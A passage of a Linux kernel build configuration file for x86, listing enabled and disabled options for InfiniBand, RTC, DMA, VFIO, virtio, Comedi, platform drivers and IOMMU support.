# CONFIG_LEDS_NCP5623 is not set
# CONFIG_LEDS_MT6370_RGB is not set

#
# LED Triggers
#
CONFIG_LEDS_TRIGGERS=y
# CONFIG_LEDS_TRIGGER_TIMER is not set
# CONFIG_LEDS_TRIGGER_ONESHOT is not set
# CONFIG_LEDS_TRIGGER_DISK is not set
# CONFIG_LEDS_TRIGGER_MTD is not set
# CONFIG_LEDS_TRIGGER_HEARTBEAT is not set
# CONFIG_LEDS_TRIGGER_BACKLIGHT is not set
# CONFIG_LEDS_TRIGGER_CPU is not set
# CONFIG_LEDS_TRIGGER_ACTIVITY is not set
# CONFIG_LEDS_TRIGGER_GPIO is not set
# CONFIG_LEDS_TRIGGER_DEFAULT_ON is not set

#
# iptables trigger is under Netfilter config (LED target)
#
# CONFIG_LEDS_TRIGGER_TRANSIENT is not set
# CONFIG_LEDS_TRIGGER_CAMERA is not set
# CONFIG_LEDS_TRIGGER_PANIC is not set
# CONFIG_LEDS_TRIGGER_NETDEV is not set
# CONFIG_LEDS_TRIGGER_PATTERN is not set
# CONFIG_LEDS_TRIGGER_TTY is not set
# CONFIG_LEDS_TRIGGER_INPUT_EVENTS is not set

#
# Simatic LED drivers
#
# CONFIG_ACCESSIBILITY is not set
CONFIG_INFINIBAND=y
CONFIG_INFINIBAND_USER_MAD=y
CONFIG_INFINIBAND_USER_ACCESS=y
CONFIG_INFINIBAND_USER_ACCESS_CORE=y
CONFIG_INFINIBAND_USER_MEM=y
CONFIG_INFINIBAND_ON_DEMAND_PAGING=y
CONFIG_INFINIBAND_ADDR_TRANS=y
CONFIG_INFINIBAND_ADDR_TRANS_CONFIGFS=y
CONFIG_INFINIBAND_VIRT_DMA=y
# CONFIG_INFINIBAND_EFA is not set
# CONFIG_INFINIBAND_ERDMA is not set
CONFIG_MLX4_INFINIBAND=y
# CONFIG_INFINIBAND_MTHCA is not set
# CONFIG_INFINIBAND_OCRDMA is not set
# CONFIG_INFINIBAND_USNIC is not set
# CONFIG_INFINIBAND_VMWARE_PVRDMA is not set
# CONFIG_INFINIBAND_RDMAVT is not set
CONFIG_RDMA_RXE=y
CONFIG_RDMA_SIW=y
CONFIG_INFINIBAND_IPOIB=y
CONFIG_INFINIBAND_IPOIB_CM=y
CONFIG_INFINIBAND_IPOIB_DEBUG=y
# CONFIG_INFINIBAND_IPOIB_DEBUG_DATA is not set
CONFIG_INFINIBAND_SRP=y
# CONFIG_INFINIBAND_SRPT is not set
CONFIG_INFINIBAND_ISER=y
CONFIG_INFINIBAND_RTRS=y
CONFIG_INFINIBAND_RTRS_CLIENT=y
# CONFIG_INFINIBAND_RTRS_SERVER is not set
CONFIG_EDAC_ATOMIC_SCRUB=y
CONFIG_EDAC_SUPPORT=y
CONFIG_EDAC=y
# CONFIG_EDAC_DEBUG is not set
# CONFIG_EDAC_DECODE_MCE is not set
# CONFIG_EDAC_SCRUB is not set
# CONFIG_EDAC_ECS is not set
# CONFIG_EDAC_MEM_REPAIR is not set
# CONFIG_EDAC_E752X is not set
# CONFIG_EDAC_I82975X is not set
# CONFIG_EDAC_I3000 is not set
# CONFIG_EDAC_I3200 is not set
# CONFIG_EDAC_IE31200 is not set
# CONFIG_EDAC_X38 is not set
# CONFIG_EDAC_I5400 is not set
# CONFIG_EDAC_I7CORE is not set
# CONFIG_EDAC_I5100 is not set
# CONFIG_EDAC_I7300 is not set
# CONFIG_EDAC_SBRIDGE is not set
# CONFIG_EDAC_SKX is not set
# CONFIG_EDAC_I10NM is not set
# CONFIG_EDAC_IMH is not set
# CONFIG_EDAC_PND2 is not set
# CONFIG_EDAC_IGEN6 is not set
CONFIG_RTC_LIB=y
CONFIG_RTC_MC146818_LIB=y
CONFIG_RTC_CLASS=y
# CONFIG_RTC_HCTOSYS is not set
CONFIG_RTC_SYSTOHC=y
CONFIG_RTC_SYSTOHC_DEVICE="rtc0"
# CONFIG_RTC_DEBUG is not set
# CONFIG_RTC_NVMEM is not set

#
# RTC interfaces
#
CONFIG_RTC_INTF_SYSFS=y
CONFIG_RTC_INTF_PROC=y
CONFIG_RTC_INTF_DEV=y
# CONFIG_RTC_INTF_DEV_UIE_EMUL is not set
# CONFIG_RTC_DRV_TEST is not set

#
# I2C RTC drivers
#
# CONFIG_RTC_DRV_ABB5ZES3 is not set
# CONFIG_RTC_DRV_ABEOZ9 is not set
# CONFIG_RTC_DRV_ABX80X is not set
# CONFIG_RTC_DRV_DS1307 is not set
# CONFIG_RTC_DRV_DS1374 is not set
# CONFIG_RTC_DRV_DS1672 is not set
# CONFIG_RTC_DRV_HYM8563 is not set
# CONFIG_RTC_DRV_MAX6900 is not set
# CONFIG_RTC_DRV_MAX31335 is not set
# CONFIG_RTC_DRV_NCT3018Y is not set
# CONFIG_RTC_DRV_RS5C372 is not set
# CONFIG_RTC_DRV_ISL1208 is not set
# CONFIG_RTC_DRV_ISL12022 is not set
# CONFIG_RTC_DRV_ISL12026 is not set
# CONFIG_RTC_DRV_X1205 is not set
# CONFIG_RTC_DRV_PCF8523 is not set
# CONFIG_RTC_DRV_PCF85363 is not set
# CONFIG_RTC_DRV_PCF8563 is not set
# CONFIG_RTC_DRV_PCF8583 is not set
# CONFIG_RTC_DRV_M41T80 is not set
# CONFIG_RTC_DRV_BQ32K is not set
# CONFIG_RTC_DRV_TWL4030 is not set
# CONFIG_RTC_DRV_S35390A is not set
# CONFIG_RTC_DRV_FM3130 is not set
# CONFIG_RTC_DRV_RX8010 is not set
# CONFIG_RTC_DRV_RX8111 is not set
# CONFIG_RTC_DRV_RX8581 is not set
# CONFIG_RTC_DRV_RX8025 is not set
# CONFIG_RTC_DRV_EM3027 is not set
# CONFIG_RTC_DRV_RV3028 is not set
# CONFIG_RTC_DRV_RV3032 is not set
# CONFIG_RTC_DRV_RV8803 is not set
# CONFIG_RTC_DRV_SD2405AL is not set
# CONFIG_RTC_DRV_SD3078 is not set

#
# SPI RTC drivers
#
# CONFIG_RTC_DRV_M41T93 is not set
# CONFIG_RTC_DRV_M41T94 is not set
# CONFIG_RTC_DRV_DS1302 is not set
# CONFIG_RTC_DRV_DS1305 is not set
# CONFIG_RTC_DRV_DS1343 is not set
# CONFIG_RTC_DRV_DS1347 is not set
# CONFIG_RTC_DRV_DS1390 is not set
# CONFIG_RTC_DRV_MAX6916 is not set
# CONFIG_RTC_DRV_R9701 is not set
# CONFIG_RTC_DRV_RX4581 is not set
# CONFIG_RTC_DRV_RS5C348 is not set
# CONFIG_RTC_DRV_MAX6902 is not set
# CONFIG_RTC_DRV_PCF2123 is not set
# CONFIG_RTC_DRV_MCP795 is not set
CONFIG_RTC_I2C_AND_SPI=y

#
# SPI and I2C RTC drivers
#
# CONFIG_RTC_DRV_DS3232 is not set
# CONFIG_RTC_DRV_PCF2127 is not set
# CONFIG_RTC_DRV_PCF85063 is not set
# CONFIG_RTC_DRV_RV3029C2 is not set
# CONFIG_RTC_DRV_RX6110 is not set

#
# Platform RTC drivers
#
CONFIG_RTC_DRV_CMOS=y
# CONFIG_RTC_DRV_DS1286 is not set
# CONFIG_RTC_DRV_DS1511 is not set
# CONFIG_RTC_DRV_DS1553 is not set
# CONFIG_RTC_DRV_DS1685_FAMILY is not set
# CONFIG_RTC_DRV_DS1742 is not set
# CONFIG_RTC_DRV_DS2404 is not set
# CONFIG_RTC_DRV_STK17TA8 is not set
# CONFIG_RTC_DRV_M48T86 is not set
# CONFIG_RTC_DRV_M48T35 is not set
# CONFIG_RTC_DRV_M48T59 is not set
# CONFIG_RTC_DRV_MSM6242 is not set
# CONFIG_RTC_DRV_RP5C01 is not set
# CONFIG_RTC_DRV_ZYNQMP is not set

#
# on-CPU RTC drivers
#
# CONFIG_RTC_DRV_CADENCE is not set
# CONFIG_RTC_DRV_FTRTC010 is not set
# CONFIG_RTC_DRV_R7301 is not set
# CONFIG_RTC_DRV_GOLDFISH is not set

#
# HID Sensor RTC drivers
#
CONFIG_RTC_DRV_HID_SENSOR_TIME=y
CONFIG_DMADEVICES=y
# CONFIG_DMADEVICES_DEBUG is not set

#
# DMA Devices
#
CONFIG_DMA_ENGINE=y
CONFIG_DMA_VIRTUAL_CHANNELS=y
CONFIG_DMA_ACPI=y
CONFIG_DMA_OF=y
# CONFIG_ALTERA_MSGDMA is not set
# CONFIG_DW_AXI_DMAC is not set
# CONFIG_FSL_EDMA is not set
CONFIG_INTEL_IDMA64=y
# CONFIG_INTEL_IDXD is not set
# CONFIG_INTEL_IDXD_COMPAT is not set
CONFIG_INTEL_IOATDMA=y
# CONFIG_PLX_DMA is not set
# CONFIG_SWITCHTEC_DMA is not set
# CONFIG_XILINX_DMA is not set
# CONFIG_XILINX_XDMA is not set
# CONFIG_XILINX_ZYNQMP_DPDMA is not set
# CONFIG_AMD_PTDMA is not set
# CONFIG_AMD_QDMA is not set
# CONFIG_QCOM_HIDMA_MGMT is not set
# CONFIG_QCOM_HIDMA is not set
CONFIG_DW_DMAC_CORE=y
# CONFIG_DW_DMAC is not set
# CONFIG_DW_DMAC_PCI is not set
# CONFIG_DW_EDMA is not set
CONFIG_HSU_DMA=y
# CONFIG_SF_PDMA is not set
# CONFIG_INTEL_LDMA is not set

#
# DMA Clients
#
CONFIG_ASYNC_TX_DMA=y
# CONFIG_DMATEST is not set
CONFIG_DMA_ENGINE_RAID=y

#
# DMABUF options
#
CONFIG_SYNC_FILE=y
CONFIG_SW_SYNC=y
CONFIG_UDMABUF=y
# CONFIG_DMABUF_DEBUG is not set
CONFIG_DMABUF_HEAPS=y
CONFIG_DMABUF_HEAPS_SYSTEM=y
# CONFIG_DMABUF_HEAPS_SYSTEM_CC_SHARED is not set
CONFIG_DMABUF_HEAPS_CMA=y
# end of DMABUF options

CONFIG_DCA=y
# CONFIG_UIO is not set
CONFIG_VFIO=y
CONFIG_VFIO_DEVICE_CDEV=y
# CONFIG_VFIO_GROUP is not set
# CONFIG_VFIO_NOIOMMU is not set
CONFIG_VFIO_VIRQFD=y
# CONFIG_VFIO_DEBUGFS is not set

#
# VFIO support for PCI devices
#
CONFIG_VFIO_PCI_CORE=y
CONFIG_VFIO_PCI_INTX=y
CONFIG_VFIO_PCI=y
# CONFIG_VFIO_PCI_VGA is not set
# CONFIG_VFIO_PCI_IGD is not set
# CONFIG_VIRTIO_VFIO_PCI is not set
# end of VFIO support for PCI devices

CONFIG_IRQ_BYPASS_MANAGER=y
# CONFIG_VIRT_DRIVERS is not set
CONFIG_VIRTIO_ANCHOR=y
CONFIG_VIRTIO=y
CONFIG_VIRTIO_PCI_LIB=y
CONFIG_VIRTIO_PCI_LIB_LEGACY=y
CONFIG_VIRTIO_MENU=y
CONFIG_VIRTIO_PCI=y
CONFIG_VIRTIO_PCI_ADMIN_LEGACY=y
CONFIG_VIRTIO_PCI_LEGACY=y
CONFIG_VIRTIO_VDPA=y
CONFIG_VIRTIO_PMEM=y
CONFIG_VIRTIO_BALLOON=y
CONFIG_VIRTIO_MEM=y
CONFIG_VIRTIO_INPUT=y
CONFIG_VIRTIO_MMIO=y
CONFIG_VIRTIO_MMIO_CMDLINE_DEVICES=y
CONFIG_VIRTIO_DMA_SHARED_BUFFER=y
# CONFIG_VIRTIO_DEBUG is not set
# CONFIG_VIRTIO_RTC is not set
CONFIG_VDPA=y
CONFIG_VDPA_SIM=y
CONFIG_VDPA_SIM_NET=y
CONFIG_VDPA_SIM_BLOCK=y
# CONFIG_VDPA_USER is not set
# CONFIG_IFCVF is not set
# CONFIG_MLX5_VDPA_STEERING_DEBUG is not set
CONFIG_VP_VDPA=y
# CONFIG_ALIBABA_ENI_VDPA is not set
# CONFIG_SNET_VDPA is not set
# CONFIG_OCTEONEP_VDPA is not set
CONFIG_VHOST_IOTLB=y
CONFIG_VHOST_RING=y
CONFIG_VHOST_TASK=y
CONFIG_VHOST=y
CONFIG_VHOST_MENU=y
CONFIG_VHOST_NET=y
# CONFIG_VHOST_SCSI is not set
CONFIG_VHOST_VSOCK=y
CONFIG_VHOST_VDPA=y
CONFIG_VHOST_CROSS_ENDIAN_LEGACY=y
CONFIG_VHOST_ENABLE_FORK_OWNER_CONTROL=y

#
# Microsoft Hyper-V guest support
#
# CONFIG_HYPERV is not set
# end of Microsoft Hyper-V guest support

CONFIG_GREYBUS=y
# CONFIG_GREYBUS_BEAGLEPLAY is not set
CONFIG_GREYBUS_ES2=y
CONFIG_COMEDI=y
# CONFIG_COMEDI_DEBUG is not set
CONFIG_COMEDI_DEFAULT_BUF_SIZE_KB=2048
CONFIG_COMEDI_DEFAULT_BUF_MAXSIZE_KB=20480
CONFIG_COMEDI_MISC_DRIVERS=y
CONFIG_COMEDI_BOND=y
CONFIG_COMEDI_TEST=y
CONFIG_COMEDI_PARPORT=y
CONFIG_COMEDI_ISA_DRIVERS=y
CONFIG_COMEDI_PCL711=y
CONFIG_COMEDI_PCL724=y
CONFIG_COMEDI_PCL726=y
CONFIG_COMEDI_PCL730=y
CONFIG_COMEDI_PCL812=y
CONFIG_COMEDI_PCL816=y
CONFIG_COMEDI_PCL818=y
CONFIG_COMEDI_PCM3724=y
CONFIG_COMEDI_AMPLC_DIO200_ISA=y
CONFIG_COMEDI_AMPLC_PC236_ISA=y
CONFIG_COMEDI_AMPLC_PC263_ISA=y
CONFIG_COMEDI_RTI800=y
CONFIG_COMEDI_RTI802=y
CONFIG_COMEDI_DAC02=y
CONFIG_COMEDI_DAS16M1=y
CONFIG_COMEDI_DAS08_ISA=y
# CONFIG_COMEDI_DAS16 is not set
CONFIG_COMEDI_DAS800=y
CONFIG_COMEDI_DAS1800=y
CONFIG_COMEDI_DAS6402=y
CONFIG_COMEDI_DT2801=y
CONFIG_COMEDI_DT2811=y
CONFIG_COMEDI_DT2814=y
CONFIG_COMEDI_DT2815=y
CONFIG_COMEDI_DT2817=y
CONFIG_COMEDI_DT282X=y
CONFIG_COMEDI_DMM32AT=y
CONFIG_COMEDI_FL512=y
CONFIG_COMEDI_AIO_AIO12_8=y
CONFIG_COMEDI_AIO_IIRO_16=y
# CONFIG_COMEDI_II_PCI20KC is not set
CONFIG_COMEDI_C6XDIGIO=y
CONFIG_COMEDI_MPC624=y
CONFIG_COMEDI_ADQ12B=y
CONFIG_COMEDI_NI_AT_A2150=y
CONFIG_COMEDI_NI_AT_AO=y
# CONFIG_COMEDI_NI_ATMIO is not set
CONFIG_COMEDI_NI_ATMIO16D=y
CONFIG_COMEDI_NI_LABPC_ISA=y
CONFIG_COMEDI_PCMAD=y
CONFIG_COMEDI_PCMDA12=y
CONFIG_COMEDI_PCMMIO=y
CONFIG_COMEDI_PCMUIO=y
CONFIG_COMEDI_MULTIQ3=y
CONFIG_COMEDI_S526=y
CONFIG_COMEDI_PCI_DRIVERS=y
CONFIG_COMEDI_8255_PCI=y
# CONFIG_COMEDI_ADDI_APCI_1032 is not set
# CONFIG_COMEDI_ADDI_APCI_1500 is not set
# CONFIG_COMEDI_ADDI_APCI_1516 is not set
# CONFIG_COMEDI_ADDI_APCI_1564 is not set
# CONFIG_COMEDI_ADDI_APCI_16XX is not set
# CONFIG_COMEDI_ADDI_APCI_2032 is not set
# CONFIG_COMEDI_ADDI_APCI_2200 is not set
# CONFIG_COMEDI_ADDI_APCI_3120 is not set
# CONFIG_COMEDI_ADDI_APCI_3501 is not set
# CONFIG_COMEDI_ADDI_APCI_3XXX is not set
# CONFIG_COMEDI_ADL_PCI6208 is not set
# CONFIG_COMEDI_ADL_PCI7250 is not set
# CONFIG_COMEDI_ADL_PCI7X3X is not set
# CONFIG_COMEDI_ADL_PCI8164 is not set
# CONFIG_COMEDI_ADL_PCI9111 is not set
CONFIG_COMEDI_ADL_PCI9118=y
# CONFIG_COMEDI_ADV_PCI1710 is not set
# CONFIG_COMEDI_ADV_PCI1720 is not set
# CONFIG_COMEDI_ADV_PCI1723 is not set
# CONFIG_COMEDI_ADV_PCI1724 is not set
# CONFIG_COMEDI_ADV_PCI1760 is not set
# CONFIG_COMEDI_ADV_PCI_DIO is not set
# CONFIG_COMEDI_AMPLC_DIO200_PCI is not set
# CONFIG_COMEDI_AMPLC_PC236_PCI is not set
# CONFIG_COMEDI_AMPLC_PC263_PCI is not set
# CONFIG_COMEDI_AMPLC_PCI224 is not set
# CONFIG_COMEDI_AMPLC_PCI230 is not set
# CONFIG_COMEDI_CONTEC_PCI_DIO is not set
# CONFIG_COMEDI_DAS08_PCI is not set
# CONFIG_COMEDI_DT3000 is not set
# CONFIG_COMEDI_DYNA_PCI10XX is not set
# CONFIG_COMEDI_GSC_HPDI is not set
# CONFIG_COMEDI_MF6X4 is not set
# CONFIG_COMEDI_ICP_MULTI is not set
# CONFIG_COMEDI_DAQBOARD2000 is not set
# CONFIG_COMEDI_JR3_PCI is not set
# CONFIG_COMEDI_KE_COUNTER is not set
# CONFIG_COMEDI_CB_PCIDAS64 is not set
# CONFIG_COMEDI_CB_PCIDAS is not set
# CONFIG_COMEDI_CB_PCIDDA is not set
# CONFIG_COMEDI_CB_PCIMDAS is not set
# CONFIG_COMEDI_CB_PCIMDDA is not set
# CONFIG_COMEDI_ME4000 is not set
# CONFIG_COMEDI_ME_DAQ is not set
# CONFIG_COMEDI_NI_6527 is not set
# CONFIG_COMEDI_NI_65XX is not set
# CONFIG_COMEDI_NI_660X is not set
# CONFIG_COMEDI_NI_670X is not set
CONFIG_COMEDI_NI_LABPC_PCI=y
# CONFIG_COMEDI_NI_PCIDIO is not set
# CONFIG_COMEDI_NI_PCIMIO is not set
# CONFIG_COMEDI_RTD520 is not set
# CONFIG_COMEDI_S626 is not set
CONFIG_COMEDI_PCMCIA_DRIVERS=y
# CONFIG_COMEDI_CB_DAS16_CS is not set
# CONFIG_COMEDI_DAS08_CS is not set
CONFIG_COMEDI_NI_DAQ_700_CS=y
# CONFIG_COMEDI_NI_DAQ_DIO24_CS is not set
CONFIG_COMEDI_NI_LABPC_CS=y
# CONFIG_COMEDI_NI_MIO_CS is not set
# CONFIG_COMEDI_QUATECH_DAQP_CS is not set
CONFIG_COMEDI_USB_DRIVERS=y
CONFIG_COMEDI_DT9812=y
CONFIG_COMEDI_NI_USB6501=y
CONFIG_COMEDI_USBDUX=y
CONFIG_COMEDI_USBDUXFAST=y
CONFIG_COMEDI_USBDUXSIGMA=y
CONFIG_COMEDI_VMK80XX=y
CONFIG_COMEDI_8254=y
CONFIG_COMEDI_8255=y
CONFIG_COMEDI_8255_SA=y
CONFIG_COMEDI_KCOMEDILIB=y
CONFIG_COMEDI_AMPLC_DIO200=y
CONFIG_COMEDI_AMPLC_PC236=y
CONFIG_COMEDI_DAS08=y
CONFIG_COMEDI_ISADMA=y
CONFIG_COMEDI_NI_LABPC=y
CONFIG_COMEDI_NI_LABPC_ISADMA=y
# CONFIG_COMEDI_TESTS is not set
# CONFIG_GPIB is not set
CONFIG_STAGING=y
# CONFIG_RTL8723BS is not set

#
# IIO staging drivers
#

#
# Accelerometers
#
# CONFIG_ADIS16203 is not set
# end of Accelerometers

#
# Analog to digital converters
#
# CONFIG_AD7816 is not set
# end of Analog to digital converters

#
# Analog digital bi-direction converters
#
# CONFIG_ADT7316 is not set
# end of Analog digital bi-direction converters

#
# Direct Digital Synthesis
#
# CONFIG_AD9832 is not set
# CONFIG_AD9834 is not set
# end of Direct Digital Synthesis

#
# Network Analyzer, Impedance Converters
#
# CONFIG_AD5933 is not set
# end of Network Analyzer, Impedance Converters
# end of IIO staging drivers

# CONFIG_FB_SM750 is not set
# CONFIG_STAGING_MEDIA is not set
# CONFIG_FB_TFT is not set
# CONFIG_MOST_COMPONENTS is not set
# CONFIG_GREYBUS_AUDIO is not set
# CONFIG_GREYBUS_BOOTROM is not set
# CONFIG_GREYBUS_FIRMWARE is not set
CONFIG_GREYBUS_HID=y
# CONFIG_GREYBUS_LOG is not set
# CONFIG_GREYBUS_LOOPBACK is not set
# CONFIG_GREYBUS_POWER is not set
# CONFIG_GREYBUS_RAW is not set
# CONFIG_GREYBUS_VIBRATOR is not set
CONFIG_GREYBUS_BRIDGED_PHY=y
# CONFIG_GREYBUS_GPIO is not set
# CONFIG_GREYBUS_I2C is not set
# CONFIG_GREYBUS_SDIO is not set
# CONFIG_GREYBUS_SPI is not set
# CONFIG_GREYBUS_UART is not set
CONFIG_GREYBUS_USB=y
# CONFIG_XIL_AXIS_FIFO is not set
# CONFIG_VME_BUS is not set
# CONFIG_GOLDFISH is not set
# CONFIG_CHROME_PLATFORMS is not set
# CONFIG_MELLANOX_PLATFORM is not set
CONFIG_SURFACE_PLATFORMS=y
# CONFIG_SURFACE3_WMI is not set
# CONFIG_SURFACE_3_POWER_OPREGION is not set
# CONFIG_SURFACE_ACPI_NOTIFY is not set
# CONFIG_SURFACE_AGGREGATOR_CDEV is not set
# CONFIG_SURFACE_AGGREGATOR_HUB is not set
CONFIG_SURFACE_AGGREGATOR_REGISTRY=y
# CONFIG_SURFACE_AGGREGATOR_TABLET_SWITCH is not set
# CONFIG_SURFACE_DTX is not set
# CONFIG_SURFACE_GPE is not set
# CONFIG_SURFACE_HOTPLUG is not set
# CONFIG_SURFACE_PLATFORM_PROFILE is not set
# CONFIG_SURFACE_PRO3_BUTTON is not set
CONFIG_SURFACE_AGGREGATOR=y
CONFIG_SURFACE_AGGREGATOR_BUS=y
CONFIG_X86_PLATFORM_DEVICES=y
CONFIG_WMI_BMOF=y
# CONFIG_HUAWEI_WMI is not set
# CONFIG_X86_PLATFORM_DRIVERS_UNIWILL is not set
# CONFIG_MXM_WMI is not set
# CONFIG_NVIDIA_WMI_EC_BACKLIGHT is not set
# CONFIG_XIAOMI_WMI is not set
# CONFIG_REDMI_WMI is not set
# CONFIG_GIGABYTE_WMI is not set
# CONFIG_BITLAND_MIFS_WMI is not set
# CONFIG_ACERHDF is not set
# CONFIG_ACER_WIRELESS is not set
# CONFIG_ACER_WMI is not set

#
# AMD HSMP Driver
#
# CONFIG_AMD_HSMP_ACPI is not set
# CONFIG_AMD_HSMP_PLAT is not set
# end of AMD HSMP Driver

# CONFIG_AMD_PMC is not set
# CONFIG_AMD_HFI is not set
# CONFIG_AMD_3D_VCACHE is not set
# CONFIG_AMD_WBRF is not set
# CONFIG_AMD_HALO_LED is not set
# CONFIG_AMD_ISP_PLATFORM is not set
# CONFIG_ADV_SWBUTTON is not set
# CONFIG_APPLE_GMUX is not set
# CONFIG_ASUS_LAPTOP is not set
# CONFIG_ASUS_WIRELESS is not set
# CONFIG_ASUS_ARMOURY is not set
CONFIG_ASUS_WMI=y
# CONFIG_ASUS_WMI_DEPRECATED_ATTRS is not set
# CONFIG_ASUS_NB_WMI is not set
CONFIG_ASUS_TF103C_DOCK=y
# CONFIG_AYANEO_EC is not set
CONFIG_EEEPC_LAPTOP=y
# CONFIG_EEEPC_WMI is not set
# CONFIG_X86_PLATFORM_DRIVERS_DELL is not set
# CONFIG_AMILO_RFKILL is not set
# CONFIG_FUJITSU_LAPTOP is not set
# CONFIG_FUJITSU_TABLET is not set
# CONFIG_GPD_POCKET_FAN is not set
# CONFIG_X86_PLATFORM_DRIVERS_HP is not set
# CONFIG_WIRELESS_HOTKEY is not set
# CONFIG_IBM_RTL is not set
# CONFIG_SENSORS_HDAPS is not set
# CONFIG_INTEL_ATOMISP2_PM is not set
# CONFIG_INTEL_IFS is not set
# CONFIG_INTEL_SAR_INT1092 is not set
# CONFIG_INTEL_SKL_INT3472 is not set

#
# Intel Speed Select Technology interface support
#
# CONFIG_INTEL_SPEED_SELECT_INTERFACE is not set
# end of Intel Speed Select Technology interface support

# CONFIG_INTEL_WMI_SBL_FW_UPDATE is not set
# CONFIG_INTEL_WMI_THUNDERBOLT is not set

#
# Intel Uncore Frequency Control
#
# CONFIG_INTEL_UNCORE_FREQ_CONTROL is not set
# end of Intel Uncore Frequency Control

# CONFIG_INTEL_HID_EVENT is not set
# CONFIG_INTEL_VBTN is not set
# CONFIG_INTEL_EHL_PSE_IO is not set
# CONFIG_INTEL_INT0002_VGPIO is not set
# CONFIG_INTEL_OAKTRAIL is not set
# CONFIG_INTEL_BXTWC_PMIC_TMU is not set
CONFIG_INTEL_CHTWC_INT33FE=y
CONFIG_INTEL_ISHTP_ECLITE=y
# CONFIG_INTEL_PUNIT_IPC is not set
# CONFIG_INTEL_RST is not set
# CONFIG_INTEL_SMARTCONNECT is not set
# CONFIG_INTEL_TURBO_MAX_3 is not set
# CONFIG_INTEL_VSEC is not set
# CONFIG_IDEAPAD_LAPTOP is not set
# CONFIG_LENOVO_WMI_HOTKEY_UTILITIES is not set
# CONFIG_LENOVO_WMI_CAMERA is not set
# CONFIG_LENOVO_YB9_KBDOCK is not set
# CONFIG_THINKPAD_ACPI is not set
# CONFIG_THINKPAD_LMI is not set
# CONFIG_YOGABOOK is not set
# CONFIG_YT2_1380 is not set
# CONFIG_LENOVO_WMI_GAMEZONE is not set
# CONFIG_LENOVO_WMI_TUNING is not set
# CONFIG_ACPI_QUICKSTART is not set
# CONFIG_MEEGOPAD_ANX7428 is not set
# CONFIG_MSI_EC is not set
# CONFIG_MSI_LAPTOP is not set
# CONFIG_MSI_WMI is not set
# CONFIG_MSI_WMI_PLATFORM is not set
# CONFIG_PCENGINES_APU2 is not set
# CONFIG_PORTWELL_EC is not set
# CONFIG_BARCO_P50_GPIO is not set
# CONFIG_SAMSUNG_GALAXYBOOK is not set
# CONFIG_SAMSUNG_LAPTOP is not set
# CONFIG_SAMSUNG_Q10 is not set
# CONFIG_ACPI_TOSHIBA is not set
# CONFIG_TOSHIBA_BT_RFKILL is not set
# CONFIG_TOSHIBA_HAPS is not set
# CONFIG_TOSHIBA_WMI is not set
# CONFIG_ACPI_CMPC is not set
# CONFIG_COMPAL_LAPTOP is not set
# CONFIG_LG_LAPTOP is not set
# CONFIG_PANASONIC_LAPTOP is not set
# CONFIG_SONY_LAPTOP is not set
# CONFIG_SYSTEM76_ACPI is not set
# CONFIG_TOPSTAR_LAPTOP is not set
# CONFIG_SERIAL_MULTI_INSTANTIATE is not set
# CONFIG_INSPUR_PLATFORM_PROFILE is not set
# CONFIG_DASHARO_ACPI is not set
# CONFIG_INTEL_IPS is not set
CONFIG_INTEL_SCU_IPC=y
# CONFIG_INTEL_SCU_PCI is not set
# CONFIG_INTEL_SCU_PLATFORM is not set
# CONFIG_SIEMENS_SIMATIC_IPC is not set
# CONFIG_SILICOM_PLATFORM is not set
# CONFIG_WINMATE_FM07_KEYS is not set
# CONFIG_OXP_EC is not set
# CONFIG_TUXEDO_NB04_WMI_AB is not set
CONFIG_P2SB=y
CONFIG_ACPI_WMI=y
# CONFIG_ACPI_WMI_LEGACY_DEVICE_NAMES is not set
CONFIG_HAVE_CLK=y
CONFIG_HAVE_CLK_PREPARE=y
CONFIG_COMMON_CLK=y
# CONFIG_LMK04832 is not set
# CONFIG_COMMON_CLK_MAX9485 is not set
# CONFIG_COMMON_CLK_SI5341 is not set
# CONFIG_COMMON_CLK_SI5351 is not set
# CONFIG_COMMON_CLK_SI514 is not set
# CONFIG_COMMON_CLK_SI544 is not set
# CONFIG_COMMON_CLK_SI570 is not set
# CONFIG_COMMON_CLK_CDCE706 is not set
# CONFIG_COMMON_CLK_CDCE925 is not set
# CONFIG_COMMON_CLK_CS2000_CP is not set
# CONFIG_CLK_TWL is not set
# CONFIG_COMMON_CLK_AXI_CLKGEN is not set
# CONFIG_COMMON_CLK_RS9_PCIE is not set
# CONFIG_COMMON_CLK_SI521XX is not set
# CONFIG_COMMON_CLK_VC3 is not set
# CONFIG_COMMON_CLK_VC5 is not set
# CONFIG_COMMON_CLK_VC7 is not set
# CONFIG_COMMON_CLK_FIXED_MMIO is not set

#
# Cixtech Audio Subsystem Clock Driver
#
# end of Cixtech Audio Subsystem Clock Driver

# CONFIG_CLK_LGM_CGU is not set
# CONFIG_XILINX_VCU is not set
# CONFIG_COMMON_CLK_XLNX_CLKWZRD is not set
# CONFIG_HWSPINLOCK is not set

#
# Clock Source drivers
#
CONFIG_CLKEVT_I8253=y
CONFIG_I8253_LOCK=y
CONFIG_CLKBLD_I8253=y
# end of Clock Source drivers

CONFIG_MAILBOX=y
# CONFIG_PLATFORM_MHU is not set
CONFIG_PCC=y
# CONFIG_ALTERA_MBOX is not set
# CONFIG_MAILBOX_TEST is not set
CONFIG_IOMMU_IOVA=y
CONFIG_IOMMU_API=y
CONFIG_IOMMUFD_DRIVER=y
CONFIG_IOMMU_SUPPORT=y

#
# Generic IOMMU Pagetable Support
#
# end of Generic IOMMU Pagetable Support

# CONFIG_IOMMU_DEBUGFS is not set
# CONFIG_IOMMU_DEFAULT_DMA_STRICT is not set
CONFIG_IOMMU_DEFAULT_DMA_LAZY=y
# CONFIG_IOMMU_DEFAULT_PASSTHROUGH is not set
CONFIG_OF_IOMMU=y
CONFIG_IOMMU_DMA=y
CONFIG_IOMMU_SVA=y
CONFIG_IOMMU_IOPF=y
CONFIG_AMD_IOMMU=y
# CONFIG_AMD_IOMMU_IOMMUFD is not set
CONFIG_DMAR_TABLE=y
CONFIG_INTEL_IOMMU=y
CONFIG_INTEL_IOMMU_SVM=y
CONFIG_INTEL_IOMMU_DEFAULT_ON=y
CONFIG_INTEL_IOMMU_SCALABLE_MODE_DEFAULT_ON=y
CONFIG_INTEL_IOMMU_PERF_EVENTS=y
CONFIG_IOMMUFD_DRIVER_CORE=y
CONFIG_IOMMUFD=y
CONFIG_IOMMUFD_TEST=y
CONFIG_IRQ_REMAP=y
# CONFIG_VIRTIO_IOMMU is not set
CONFIG_GENERIC_PT=y
CONFIG_DEBUG_GENERIC_PT=y
CONFIG_IOMMU_PT=y
CONFIG_IOMMU_PT_AMDV1=y
CONFIG_IOMMU_PT_VTDSS=y
# CONFIG_IOMMU_PT_RISCV64 is not set
CONFIG_IOMMU_PT_X86_64=y

#
# Remoteproc drivers
#
